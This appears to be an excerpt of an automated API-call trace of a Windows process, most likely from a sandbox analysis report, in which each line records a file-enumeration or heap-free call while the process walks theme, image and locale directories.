	[0183.926] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1
	[0183.933] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0183.933] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1
	[0183.948] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.948] FindNextFileW (in: hFindFile=0x4142c58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0
	[0183.948] FindClose (in: hFindFile=0x4142c58 | out: hFindFile=0x4142c58) returned 1
	[0183.948] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0183.948] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1
	[0183.977] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0183.977] FindNextFileW (in: hFindFile=0x4142198, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0183.977] FindClose (in: hFindFile=0x4142198 | out: hFindFile=0x4142198) returned 1
	[0183.977] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.977] FindNextFileW (in: hFindFile=0x4142218, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1
	[0183.977] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0183.977] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1
	[0183.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0183.983] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0183.983] FindClose (in: hFindFile=0x4142fd8 | out: hFindFile=0x4142fd8) returned 1
	[0183.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.983] FindNextFileW (in: hFindFile=0x4142c98, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0183.983] FindClose (in: hFindFile=0x4142c98 | out: hFindFile=0x4142c98) returned 1
	[0183.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0183.984] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 0
	[0183.984] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0183.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0183.985] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1
	[0184.033] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.033] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0184.280] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.280] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0184.284] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.284] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0184.284] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.285] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0184.290] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.290] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0184.303] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.303] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0184.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.316] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0184.317] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.317] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0184.317] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.318] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0184.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.318] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0184.319] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.319] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0184.331] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.331] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0184.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.332] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0184.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.333] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0184.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.333] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0184.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.334] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0184.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.335] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0184.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.335] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0184.336] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.336] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0184.336] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.336] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0184.336] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.336] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0184.337] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.337] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0184.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.338] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0184.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.338] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0184.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.338] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0184.339] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.339] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0184.340] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.340] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0184.341] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
